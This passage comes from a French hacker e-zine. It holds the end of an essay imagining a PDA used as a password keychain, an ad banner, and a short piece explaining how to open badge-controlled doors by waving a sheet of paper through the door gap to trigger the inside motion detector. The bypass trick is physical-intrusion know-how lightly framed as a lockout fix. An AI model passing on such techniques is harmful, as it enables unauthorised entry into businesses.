l  fasse, c'est  que enfin  j'aille pu  56000 mots de passes  retenir.. donc si a scurit  
est >=  la scurit  de taper un mot de  passe  sur  un clavier, j'aurai russi. De plus, si 
a scurit est proche d'un set de clef, j'aurai de quoi d'acceptable dans un monde rel.

Et finalement, pour les paranos, ou  les personnes qui ont  des clefs  vraiment  importantes, 
on  pourrait  utiliser  toute les techniques existantes pour  monter  de  quelques  crans  la 
scurit.  Par exemple, l'accs au bidule  demanderait de rentrer un mot  de passe (whatever,  
on peut mme  utiliser la biomtrie  ici)  pour  utiliser  les  clefs..  donc, si on perd  le 
bidule good luck.  La faudrait  juste  qu'on aie  QU'UN SEUL BIDULE  pour retenir QU'UN  SEUL 
MOT DE  PASSE. Et  c'est  la  que  j'aime  la  biomtrie,  mettons que le bidule reconnat ma  
rtine, j'aurais juste a avoir l'oeil pas  loin pour le dbarrer.. pis si j'le perds, ben chu 
juste vraiment dans  marde si en mme temps  je perds mon il (et  qui  reste accrocher aprs 
le bidule)...

Mais  la limite,  dans le cas de  perte ou de vol, on a juste  changer les serrures. That's 
all.

Y'a aussi d'autres techniques qu'on  pourrait utiliser, mais je crois  que y'a une  limite  a 
tout.

Y'a aussi des choses qu'on peut pas  faire, car le modle que je prsente  est  scure,  mais  
pas trop  (ce qui  est   mon avis  une BONNE scurit, car trop scure a devient  useless). 
Exemple,  on pourrait  changer de  mot de  passe  souvent?  Mais  genre,  changer  vous   vos  
clefs et  serrures de maison souvent vous? Si vous vous faite voler ok, j'avoue, si vous avez 
des doutes, si  votre ex  a  encore la  clef, ok.  Mais en  temps normal  non. C'est  pour a  
que la restriction que "y'a juste  l'admin qui peut donner une clef" est bonne, car oui c'est 
compliqu  faire, mais c'est ce qui procure justement une  scurit un peu  plus grande,  du 
genre,  faut absolument  owner le  sysadmin pour mme pouvoir AVOIR  la clef..  pis entre  un 
sysadmin  parano qui dors pratiquement jamais (ou parano alcoolique) pis monsieur madame tlm, 
les chances de se faire intercepter sont moins grandes... 

Ce qui pourrait  tre fait, c'est  un systme comme  sur  les  cartes  d'accs    puce,  qui 
change avec  le temps, mais dans  ce cas la, faudrait  que le bidule pis  la  porte s'arrange  
avec a. MAIS, pensez  z'y, on veut pas  remplacer une clef physique,  on veut  remplacer une  
clef logique  (soit un  mot de passe).  Donc,   ultimement, la  clef se  promne que  sur des  
liens logique,  donc de  rajouter  une  scurit,  qui  est uniquement  checkable  au  niveau  
physique, est  plutt useless..  donc si  on voudrait  de quoi  qui change  de phase  dans le
temps, faudrait que le bidule soit syncro avec tous les serveurs, et a a  va  prendre   des  
annes lumires    avant  que    a  arrive,  parce  que   aprs  tout  les  syadmins paranos  
alcooliques sont  p-e fiable,  mais sont  vedge pour changer leurs systmes  ce point la.


The future is now.
C'est sur que perso je vois a comme une bague magique, une clef, voir mme un  implant  dans 
le     corps,      mais    tout    les     concepts    la   sont     possible     maintenant.
http://passwordsafe.sourceforge.net/ est un bon exemple.  Cependant, a sauve dans un fichier 
blowfish pis a fait juste  copier/coller  partir du clipboard dans Windoze. Ce  qu'on peut 
faire,  MAINTENANT, c'est a : avoir un PDA, un tlphone cellulaire qui sert de trousseau de 
clef. On store les passwords dedans.  Une solution poche (ou de poche haha) serait de prendre 
le PDA/cellphone  pour  se rappeler du password (un peut comme on fait avec un post it), mais 
avec  un module wifi genre bluetooth mais une version trs poche qui marche juste  si  tu  es 
littralement coll sur le pc (PAS du fucking 802.11, on veut de quoi  avec  un range MAXIMUM 
oublier pas, ou sinon, faire un packet driver qui drop  toute les trames 802.11 qui sont plus 
longue que le temps que a prends a l'onde  de  faire  plus  que 20 cm..  good luck a voyage 
vite  une onde), pis la, avec  une  application  installer  sur  le   PC  et  sur le  PDA, on 
pourrait juste  choisir le mot de passe, pis l'envoyer.  Pensez z'y, a pourrait mme marcher  
direct avec n'importe quel site web,  a copierais  directement  dans  la  case   de  mot  de  
passe!  Not   bad,  mais malheureusement c long  gosser dans un  pda/cellphone, faudrait donc  
avoir un piton  shortcut  de programmer,  et  on pourrait avoir le cas d'utilisation suivant:

J'arrive devant un ordi,
je sors mon PDA de mes poches, je pse sur le piton de mon PDA (5 secs).
Le PDA se plug crypter avec l'ordi,
J'ai une confirmation sur mon PDA de l'ordi et vice versa (2 + 2 secs).

La on pourrait faire de quoi de cool et pratique, genre l'ordi propose au  PDA qui veut avoir 
le mot de  passe pour www.duporn.com/members/. Mais si on  fait  a,  on enlve le "besoin de 
reconnatre  ou va la clef pour sen servir". Mais le trade off peut tre intressent avec les 
passwords moins  important (genre l'accs au site web de cul, versus un account root).

Donc,  si  on fait  l'affaire cool,  a prendrait  mme pas 1 secondes, et le password serait 
envoy vers l'ordi. et tu click login, fini napu. A  la  limite  a  pourrait mme retenir le 
username itoo! on sauve du temps la!

Sinon, faudrait :
- checker la liste des mots de passe (2 * n = 30 secs si j'ai 15 passwords)
- choisir le mot de passe pis peser sur le piton send (5 + 2 = 7 secondes).

Mais des fois a vaut la peine, car pensez-zy,
l'account root vous vous logger une fois par semaine et
l'account du site de cul, well plusieurs voir par jour =)

Ah pis, dans mon cas prsentement par exemple, la  scurit  est  moins  forte  que  dans  le  
modle,  parce  que on  change  RIEN  au  systme d'authentification  prsent, donc n'importe 
qui peut loader une clef dans le bidule (le PDA), sauf  que, quand mme, on a juste a se dire 
que le seul moyen de rentrer le password dans le PDA c de l'crire soit mme...

Et pensez z'y, avec a, votre mot de passe sur genre un phpBB pourrait tre
KjG56ga$ads$12fJ45gFjD3F4?ags%b
et prendre AUTANT de temps  rentrer que 123456.. pratique.

Bon voila,
c'est mon proof of concept, aprs avoir rflchi pendant genre quelque mois au sujet que "les 
fuckings passwords ca  sert a rien chu tann den  avoir 85000", j'tais sur mon sofa pis j'ai 
pens  un porte clef...

Pour ceux qui  ont eux le  courage de lire mes dblatrations au complet, et bien  bravo mais  
je vous encourage   y songer encore plus pis  dtruire "mon  proof  of  concept". C'est  de 
cette  faon que  la mentalit  "hacking" sert  quelque chose.. et peut-tre qu'un jour,    
force de dtruire les failles  des ides, on aura des ides presque parfaites.



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |Vous voulez vanter un produit ou un service qui vaut rien?    \\_  \_ \   \\_ 1  + 
 || |Rservez ds maintenant vos espaces publicitaire pour le      \_ \   \\_  \_ \ 1   
 ||'|prochain e-zine : wyzeman@mindkind.org                          \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Bon tout le monde a compris la ?                                      ]=\:\  |
  \__\__________________________________________________________________________________/ 


 

Je n'ai pas l'intention de faire un grand texte style tutorial  pour  mon  ratator.  Je  vais 
Greetz  to :  M. Steve  Berberi,  sergent  spcialiste,  Sret  du Qubec et sont quipe qui 
overall doivent etre payer beaucoup plus chere a nous lire que ce que ca nous  donne  decrire 
tout ca.  



si  par  malheure  vous  vous  etiez  embarer en dehors de votre bureau en allant imprimer ce 
ezine, voici un petit truc qu'un de nos fan nous a envoyez qui pourrais ptete vous aidez.


The Paper-Key.
Ak: La paresse des sorteurs.

Par Imini.


Voici une faon alternative douvrir, sans aucune cl, toutes sortes de portes scurises par 
des systmes de cartes magntiques, de NIP, ou autre.

Matriel ncessaire:
-	Une feuille 8/11

Conditions requises:
-	Une porte ayant des fentes autour delle
-	Un dtecteur de mouvement (de lautre cot de la porte)


Vous  allez  voir,  nul besoin d'tre une grande lumire pour comprendre le fonctionnement de 
cet exploit.

Voici une entreprise typiquement vulnrable:

Les  employs  possdent  tous  une  carte  magntique  qui  leur permet de dbarrer la porte 
principale. Ils peuvent entrer ou sortir de la boite jour et nuit. Le systme central cr un 
journal des alls et venus de chacun des salaris.

Pour sortir, et dbarrer la porte principale, lindividu se place devant la porte et actionne 
le dtecteur de mouvement, qui lui sert exclusivement  dbarrer  la  porte.  (Les  employs, 
souvent affaiblis par leur dure journe de travail, nont pas besoin  d'actionner  un  bouton 
pour sortir.)

La faille:

Lorsque  nous  voulons  entrer  dans  lentreprise, il nous suffit de prendre une feuille, de 
linsrer entre la porte et le cadrage et de la faire bouger sous lil magique. Cela a  pour 
effet de dbarrer la porte. Si le dtecteur de mouvement  est  situ  trop  loin,  il  suffit 
d'utiliser un objet plus long qu'une feuille. (Une longue feuille ;)

Les  portes  vitres sont particulirement vulnrables car il y a un gros espace qui facilite 
lintroduction dobjets dans la pice. De plus elles permettent de localiser le dtecteur  de 
mouvement beaucoup plus facilement.

Le ratio:

Dans  certains  difices,  selon  mes  calculs,  il  pourrait  y  avoir  facilement environ 1 
entreprise sur 4 vulnrables  cette astuce.

En pratique:

Comment cela pourrait-il nous servir,  nous, adepte du droit chemin ?

	Par  exemple,  si  nous  oublions  notre carte magntique dans notre bureau, que nous 
sortons pour x raison et que  nous  nous  embarrons  l'extrieur, au lieu daller courailler 
le  type  de  la  scurit  (qui  est toujours aux toilettes), nous pourrions tout simplement 
utiliser une feuille pour entrer comme si de rien tait. Ni vu ni connu. Sans se faire pincer 
d'aucune faons.

Facile non ?

Sur ce, je vous laisse.
Soyez prudents.
Bonne lecture  tous.